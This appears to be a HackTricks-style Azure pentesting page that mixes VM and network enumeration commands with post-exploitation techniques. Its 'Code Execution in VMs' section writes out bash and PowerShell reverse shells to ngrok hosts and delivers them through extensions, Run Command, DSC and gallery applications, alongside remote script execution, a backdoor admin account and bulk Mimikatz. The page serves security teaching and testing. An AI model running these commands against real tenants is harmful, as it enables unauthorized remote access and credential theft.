# Az - Virtual Machines & Network

{{#include ../../../../banners/hacktricks-training.md}}

## Azure Networking Basic Info

Azure networks contains **different entities and ways to configure it.** You can find a brief **descriptions,** **examples** and **enumeration** commands of the different Azure network entities in:

{{#ref}}
az-azure-network.md
{{#endref}}

## VMs Basic information

Azure Virtual Machines (VMs) are flexible, on-demand **cloud-based servers that let you run Windows or Linux operating systems**. They allow you to deploy applications and workloads without managing physical hardware. Azure VMs can be configured with various CPU, memory, and storage options to meet specific needs and integrate with Azure services like virtual networks, storage, and security tools.

### Security Configurations

- **Availability Zones**: Availability zones are distinct groups of datacenters within a specific Azure region which are physically separated to minimize the risk of multiple zones being affected by local outages or disasters.
- **Security Type**:
  - **Standard Security**: This is the default security type that does not require any specific configuration.
  - **Trusted Launch**: This security type enhances protection against boot kits and kernel-level malware by using Secure Boot and Virtual Trusted Platform Module (vTPM).
  - **Confidential VMs**: On top of a trusted launch, it offers hardware-based isolation between the VM, hypervisor and host management, improves the disk encryption and [**more**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
- **Authentication**: By default a new **SSH key is generated**, although it's possible to use a public key or use a previous key and the username by default is **azureuser**. It's also possible to configure to use a **password.**
- **VM disk encryption:** The disk is encrypted at rest by default using a platform managed key.
  - It's also possible to enable **Encryption at host**, where the data will be encrypted in the host before sending it to the storage service, ensuring an end-to-end encryption between the host and the storage service ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
- **NIC network security group**:
  - **None**: Basically opens every port
  - **Basic**: Allows to easily open the inbound ports HTTP (80), HTTPS (443), SSH (22), RDP (3389)
  - **Advanced**: Select a security group
- **Backup**: It's possible to enable **Standard** backup (one a day) and **Enhanced** (multiple per day)
- **Patch orchestration options**: This enable to automatically apply patches in the VMs according to the selected policy as described in the [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
- **Alerts**: It's possible to automatically get alerts by email or mobile app when something happen in the VM. Default rules:
  - Percentage CPU is greater than 80%
  - Available Memory Bytes is less than 1GB
  - Data Disks IOPS Consumed Percentage is greater than 95%
  - OS IOPS Consumed Percentage is greater than 95%
  - Network in Total is greater than 500GB
  - Network Out Total is greater than 200GB
  - VmAvailabilityMetric is less than 1
- **Heath monitor**: By default check protocol HTTP in port 80
- **Locks**: It allows to lock a VM so it can only be read (**ReadOnly** lock) or it can be read and updated but not deleted (**CanNotDelete** lock).
  - Most VM related resources **also support locks** like disks, snapshots...
  - Locks can also be applied at **resource group and subscription levels**

## Disks & snapshots

- It's possible to **enable to attach a disk to 2 or more VMs**
- By default every disk is **encrypted** with a platform key.
  - Same in snapshots
- By default it's possible to **share the disk from all networks**, but it can also be **restricted** to only certain **private acces**s or to **completely disable** public and private access.
  - Same in snapshots
- It's possible to **generate a SAS URI** (of max 60days) to **export the disk**, which can be configured to require authentication or not
  - Same in snapshots

{{#tabs}}
{{#tab name="az cli"}}

```bash
# List all disks
az disk list --output table

# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>
```

{{#endtab}}
{{#tab name="PowerShell"}}

```bash
# List all disks
Get-AzDisk

# Get info about a disk
Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
```

{{#endtab}}
{{#endtabs}}

## Images, Gallery Images & Restore points

A **VM image** is a template that contains the operating system, application settings and filesystem needed to **create a new virtual machine (VM)**. The difference between an image and a disk snapshot is that a disk snapshot is a read-only, point-in-time copy of a single managed disk, used primarily for backup or troubleshooting, while an image can contain **multiple disks and is designed to serve as a template for creating new VMs**.\
Images can be managed in the **Images section** of Azure or inside **Azure compute galleries** which allows to generate **versions** and **share** the image cross-tenant of even make it public.

A **restore point** stores the VM configuration and **point-in-time** application-consistent **snapshots of all the managed disks** attached to the VM. It's related to the VM and its purpose is to be able to restore that VM to how it was in that specific point in it.

{{#tabs}}
{{#tab name="az cli"}}

```bash
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shaerd with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
```

{{#endtab}}
{{#tab name="PowerShell"}}

```bash
## List all galleries and get info about one
Get-AzGallery
Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>

## List all image definitions in a gallery and get info about one
Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName> -Name <ImageDefinitionName>

## List all the versions of an image definition in a gallery
Get-AzGalleryImageVersion -GalleryImageDefinitionName <ImageName> -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>

## List all VM applications inside a gallery
Get-AzGalleryApplication -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>

# Images
# List all managed images in your subscription
Get-AzImage -Name <ResourceName> -ResourceGroupName <ResourceGroupName>

# Restore points
## List all restore points and get info about 1
Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <ResourceGroupName>
```

{{#endtab}}
{{#endtabs}}

## Azure Site Recovery

From the [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery helps ensure business continuity by keeping business apps and workloads running during outages. Site Recovery **replicates workloads** running on physical and virtual machines (VMs) from a primary site to a secondary location. When an outage occurs at your primary site, you fail over to a secondary location, and access apps from there. After the primary location is running again, you can fail back to it.

## Azure Bastion

Azure Bastion enables secure and seamless **Remote Desktop Protocol (RDP)** and **Secure Shell (SSH)** access to your virtual machines (VMs) directly through the Azure Portal or via a jump box. By **eliminating the need for public IP addresses** on your VMs.

The Bastion deploys a subnet called **`AzureBastionSubnet`** with a `/26` netmask in the VNet it needs to work on. Then, it allows to **connect to internal VMs through the browser** using `RDP` and `SSH` avoiding exposing ports of the VMs to the Internet. It can also work as a **jump host**.

To list all Azure Bastion Hosts in your subscription and connect to VMs through them, you can use the following commands:

{{#tabs}}
{{#tab name="az cli"}}

```bash
# List bastions
az network bastion list -o table

# Connect via SSH through bastion
az network bastion ssh \
  --name MyBastion \
  --resource-group MyResourceGroup \
  --target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
  --auth-type ssh-key \
  --username azureuser \
  --ssh-key ~/.ssh/id_rsa

# Connect via RDP through bastion
az network bastion rdp \
  --name <BASTION_NAME> \
  --resource-group <RESOURCE_GROUP> \
  --target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
  --auth-type password \
  --username <VM_USERNAME> \
  --password <VM_PASSWORD>
```

{{#endtab}}
{{#tab name="PowerShell"}}

```bash
# List bastions
Get-AzBastion
```

{{#endtab}}
{{#endtabs}}

## Metadata

The Azure Instance Metadata Service (IMDS) **provides information about running virtual machine instances** to assist with their management and configuration. It offers details such as the SKU, storage, network configurations, and information about upcoming maintenance events via **REST API available at the non-routable IP address 169.254.169.254**, which is accessible only from within the VM. Communication between the VM and IMDS stays within the host, ensuring secure access. When querying IMDS, HTTP clients inside the VM should bypass web proxies to ensure proper communication.

Moreover, to contact the metadata endpoint, the HTTP request must have the header **`Metadata: true`** and must not have the header **`X-Forwarded-For`**.

When requesting an access token to the metadata endpoint, by default the metadata service will use the **system assigned managed identity** to generate the token, if there is any system assigned managed identity. In case there is just **ONE user assigned managed identity**, then this will be used by default. However, in case there is no system assigned managed identity and there are **multiple user assigned managed identities**, then the metadata service will return an error indicating that there are multiple managed identities and it's necessary to **specify which one to use**.

Check how to enumerate it in:

{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
{{#endref}}

## VM Enumeration

{{#tabs}}
{{#tab name="az cli"}}
```bash
# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>

## List all available VM images and get info about one
az vm image list --all --output table

# VM Extensions
## List all VM extensions
az vm extension image list --output table

## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>

## List managed identities in a VM
az vm identity show \
  --resource-group <rsc-group> \
  --name <vm-name>

# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>

# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shared with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

# Bastion
## list all bastions
az network bastion list -o table

# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"

## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table

## List public IPs
az network public-ip list --output table

## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table

## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"

## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>

## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table

## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table

## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table

# Misc
## List all virtual machine scale sets
az vmss list --output table

## List all availability sets
az vm availability-set list --output table

## List all load balancers
az network lb list --output table

## List all storage accounts
az storage account list --output table

## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>

# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>

## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table

# List all available run commands for virtual machines
az vm run-command list --output table
```
{{#endtab }}

{{#tab name="Az Powershell" }}
```bash
# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)


# Disks
## List all disks and get info about one
Get-AzDisk
Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>

# Snapshots
## List all galleries abd get info about one
Get-AzGallery
Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>

## List all snapshots and get info about one
Get-AzSnapshot
Get-AzSnapshot -Name <SnapshotName> -ResourceGroupName <ResourceGroupName>

## List all image definitions in a gallery and get info about one
Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName> -Name <ImageDefinitionName>

## List all the versions of an image definition in a gallery
Get-AzGalleryImageVersion -GalleryImageDefinitionName <ImageName> -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>

## List all VM applications inside a gallery
Get-AzGalleryApplication -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>

# Images
# List all managed images in your subscription
Get-AzImage -Name <ResourceName> -ResourceGroupName <ResourceGroupName>

# Restore points
## List all restore points and get info about 1
Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <ResourceGroupName>

# Bastion
## List bastions
Get-AzBastion

# Network
## List all VNets in your subscription
Get-AzVirtualNetwork

## List VNet peering connections for a given VNet
(Get-AzVirtualNetwork -ResourceGroupName <ResourceGroupName> -Name <VNetName>).VirtualNetworkPeerings

## List Shared Resources (e.g., Azure Firewall) in the Hub
Get-AzFirewall

## List VPN Gateways
Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>

## List VPN Connections
Get-AzVirtualNetworkGatewayConnection -ResourceGroupName <ResourceGroupName>

## List ExpressRoute Circuits
Get-AzExpressRouteCircuit

# Misc
## List all virtual machine scale sets
Get-AzVmss

## List all availability sets
Get-AzAvailabilitySet

## List all load balancers
Get-AzLoadBalancer

## List all storage accounts
Get-AzStorageAccount

## List all custom script extensions on a specific VM
Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>

```

{{#endtab }}
{{#endtabs }}

## Code Execution in VMs

### VM Extensions

Azure VM extensions are small applications that provide **post-deployment configuration** and automation tasks on Azure virtual machines (VMs).

This would allow to **execute arbitrary code inside VMs**.

The required permission is **`Microsoft.Compute/virtualMachines/extensions/write`**.

It's possible to list all the available extensions with:

{{#tabs }}
{{#tab name="Az Cli" }}

```bash
# It takes some mins to run
az vm extension image list --output table

# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
```

{{#endtab }}
{{#tab name="PowerShell" }}

```bash
# It takes some mins to run
Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type <Type>
```

{{#endtab }}
{{#endtabs }}

It's possible to **run custom extensions that runs custom code**:

{{#tabs }}
{{#tab name="Linux" }}

- Execute a revers shell

```bash
# Prepare the rev shell
echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==

# Execute rev shell
az vm extension set \
  --resource-group <rsc-group> \
  --vm-name <vm-name> \
  --name CustomScript \
  --publisher Microsoft.Azure.Extensions \
  --version 2.1 \
  --settings '{}' \
  --protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
```

- Execute a script located on the internet

```bash
az vm extension set \
  --resource-group rsc-group> \
  --vm-name <vm-name> \
  --name CustomScript \
  --publisher Microsoft.Azure.Extensions \
  --version 2.1 \
  --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
  --protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
```

{{#endtab }}

{{#tab name="Windows" }}

- Execute a reverse shell

```bash
# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64

# Execute it
az vm extension set \
  --resource-group <rsc-group> \
  --vm-name <vm-name> \
  --name CustomScriptExtension \
  --publisher Microsoft.Compute \
  --version 1.10 \
  --settings '{}' \
  --protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand  "}'

```

- Execute reverse shell from file

```bash
az vm extension set \
  --resource-group <rsc-group> \
  --vm-name <vm-name> \
  --name CustomScriptExtension \
  --publisher Microsoft.Compute \
  --version 1.10 \
  --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
  --protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
```

You could also execute other payloads like: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`

- Reset password using the VMAccess extension

```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
```

{{#endtab }}
{{#endtabs }}

### Relevant VM extensions

The required permission is still **`Microsoft.Compute/virtualMachines/extensions/write`**.

<details>

<summary>VMAccess extension</summary>

This extension allows to modify the password (or create if it doesn't exist) of users inside Windows VMs.

```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
```

</details>

<details>

<summary>DesiredStateConfiguration (DSC)</summary>

This is a **VM extension** that belongs to Microsoft that uses PowerShell DSC to manage the configuration of Azure Windows VMs. Therefore, it can be used to **execute arbitrary commands** in Windows VMs through this extension:

```bash
# Content of revShell.ps1
Configuration RevShellConfig {
    Node localhost {
        Script ReverseShell {
            GetScript = { @{} }
            SetScript = {
                $client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
                $stream = $client.GetStream();
                [byte[]]$bytes = 0..65535|%{0};
                while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
                    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
                    $sendback = (iex $data 2>&1 | Out-String );
                    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
                    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
                    $stream.Write($sendbyte, 0, $sendbyte.Length)
                }
                $client.Close()
            }
            TestScript = { return $false }
        }
    }
}
RevShellConfig -OutputPath .\Output

# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
    -ConfigurationPath .\revShell.ps1 `
    -ResourceGroupName $resourceGroup `
    -StorageAccountName $storageName `
    -Force

# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
    -Version '2.76' `
    -ResourceGroupName $resourceGroup `
    -VMName $vmName `
    -ArchiveStorageAccountName $storageName `
    -ArchiveBlobName 'revShell.ps1.zip' `
    -AutoUpdate `
    -ConfigurationName 'RevShellConfig'
```

</details>

<details>

<summary>Hybrid Runbook Worker</summary>

This is a VM extension that would allow to execute runbooks in VMs from an automation account. For more information check the [Automation Accounts service](../az-automation-account/index.html).

</details>

### VM Applications

These are packages with all the **application data and install and uninstall scripts** that can be used to easily add and remove application in VMs.

```bash
# List all galleries in resource group
az sig list --resource-group <res-group> --output table

# List all apps in a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
```

These are the paths were the applications get downloaded inside the file system:

- Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>`
- Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>`

Check how to install new applications in [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)

> [!CAUTION]
> It's possible to **share individual apps and galleries with other subscriptions or tenants**. Which is very interesting because it could allow an attacker to backdoor an application and pivot to other subscriptions and tenants.

But there **isn't a "marketplace" for vm apps** like there is for extensions.

The permissions required are:

- `Microsoft.Compute/galleries/applications/write`
- `Microsoft.Compute/galleries/applications/versions/write`
- `Microsoft.Compute/virtualMachines/write`
- `Microsoft.Network/networkInterfaces/join/action`
- `Microsoft.Compute/disks/write`

Exploitation example to execute arbitrary commands:

{{#tabs }}
{{#tab name="Linux" }}

```bash
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
   --gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
    --application-name myReverseShellApp \
    --gallery-name myGallery \
    --resource-group <rsc-group> \
    --os-type Linux \
    --location "West US 2"

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
   --version-name 1.0.2 \
   --application-name myReverseShellApp \
   --gallery-name myGallery \
   --location "West US 2" \
   --resource-group <rsc-group> \
   --package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
   --install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
   --remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
   --update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
   --resource-group <rsc-group> \
   --name <vm-name> \
   --app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
   --treat-deployment-as-failure true
```

{{#endtab }}

{{#tab name="Windows" }}

```bash
# Create gallery (if the isn't any)
az sig create --resource-group <rsc-group> \
   --gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
    --application-name myReverseShellAppWin \
    --gallery-name myGallery \
    --resource-group <rsc-group> \
    --os-type Windows \
    --location "West US 2"

# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
export encodedCommand=" "
az sig gallery-application version create \
   --version-name 1.0.0 \
   --application-name myReverseShellAppWin \
   --gallery-name myGallery \
   --location "West US 2" \
   --resource-group <rsc-group> \
   --package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
   --install-command "powershell.exe -EncodedCommand $encodedCommand" \
   --remove-command "powershell.exe -EncodedCommand $encodedCommand" \
   --update-command "powershell.exe -EncodedCommand $encodedCommand"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
   --resource-group <rsc-group> \
   --name deleteme-win4 \
   --app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
   --treat-deployment-as-failure true
```

{{#endtab }}
{{#endtabs }}

### User data

This is **persistent data** that can be retrieved from the metadata endpoint at any time. Note in Azure user data is different from AWS and GCP because **if you place a script here it's not executed by default**.

### Custom data

It's possible to pass some data to the VM that will be stored in expected paths:

- In **Windows** custom data is placed in `%SYSTEMDRIVE%\AzureData\CustomData.bin` as a binary file and it isn't processed.
- In **Linux** it was stored in `/var/lib/waagent/ovf-env.xml` and now it's stored in `/var/lib/waagent/CustomData/ovf-env.xml`
  - **Linux agent**: It doesn't process custom data by default, a custom image with the data enabled is needed
  - **cloud-init:** By default it processes custom data and this data may be in [**several formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). It could execute a script easily sending just the script in the custom data.
    - I tried that both Ubuntu and Debian execute the script you put here.
    - It's also not needed to enable user data for this to be executed.

```bash
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt
```

### **Run Command**

This is the most basic mechanism Azure provides to **execute arbitrary commands in VMs**. The needed permission is `Microsoft.Compute/virtualMachines/runCommand/action`.

{{#tabs }}
{{#tab name="Linux" }}

```bash
# Execute rev shell
az vm run-command invoke \
  --resource-group <rsc-group> \
  --name <vm-name> \
  --command-id RunShellScript \
  --scripts @revshell.sh

# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
```

{{#endtab }}

{{#tab name="Windows" }}

```bash
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
# Execute a rev shell
az vm run-command invoke \
  --resource-group Research \
  --name juastavm \
  --command-id RunPowerShellScript \
  --scripts @revshell.ps1

## Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64

## Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
export encodedCommand=" "

# The content of
echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1


# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
```

{{#endtab }}
{{#endtabs }}

## Azure WireServer & GoalState

Azure VMs expose **internal platform endpoints** that are used for configuration, metadata retrieval and identity management. Understanding the difference between them is critical for **enumeration, privilege escalation and post-exploitation**.

### Wire Server (Azure Fabric Endpoint)

The **Azure WireServer** is an internal Azure IP (`168.63.129.16`) used by the platform to communicate with the VM.

It is responsible for:

- Communication with the **VM Agent**
- Delivering:
  - **GoalState**
  - **ExtensionsConfig**
  - Internal VM configuration (including identities)
- DHCP & DNS services
- Health monitoring

### GoalState & ExtensionsConfig

The **GoalState** represents the **desired configuration of the VM** as defined by Azure. It may include:

- Extensions configuration
- Managed identities
- Provisioning state
- Agent instructions

The **ExtensionsConfig** contains detailed configuration of VM extensions and may include:

- **User Assigned Managed Identities**
- Extension settings
- Secrets (depending on extension)

These endpoints are typically accessed via:

```bash
curl -H "x-ms-version: 2012-11-30" http://168.63.129.16/machine?comp=goalstate
```

### Access considerations

The WireServer IP is generally reachable from inside the VM through the guest network stack. It is not restricted only to the Azure VM Agent, Run Command, or VM extensions. Microsoft even documents agentless Linux provisioning examples where ordinary in-guest scripts query GoalState directly from `168.63.129.16`.

However, not every process will necessarily get the same practical result:

- Some endpoints require Azure-specific headers, such as `x-ms-version: 2012-11-30` for GoalState.
- Local guest controls can block or alter access, including host firewall rules, proxies, routes, network namespaces, containers, or endpoint protection.
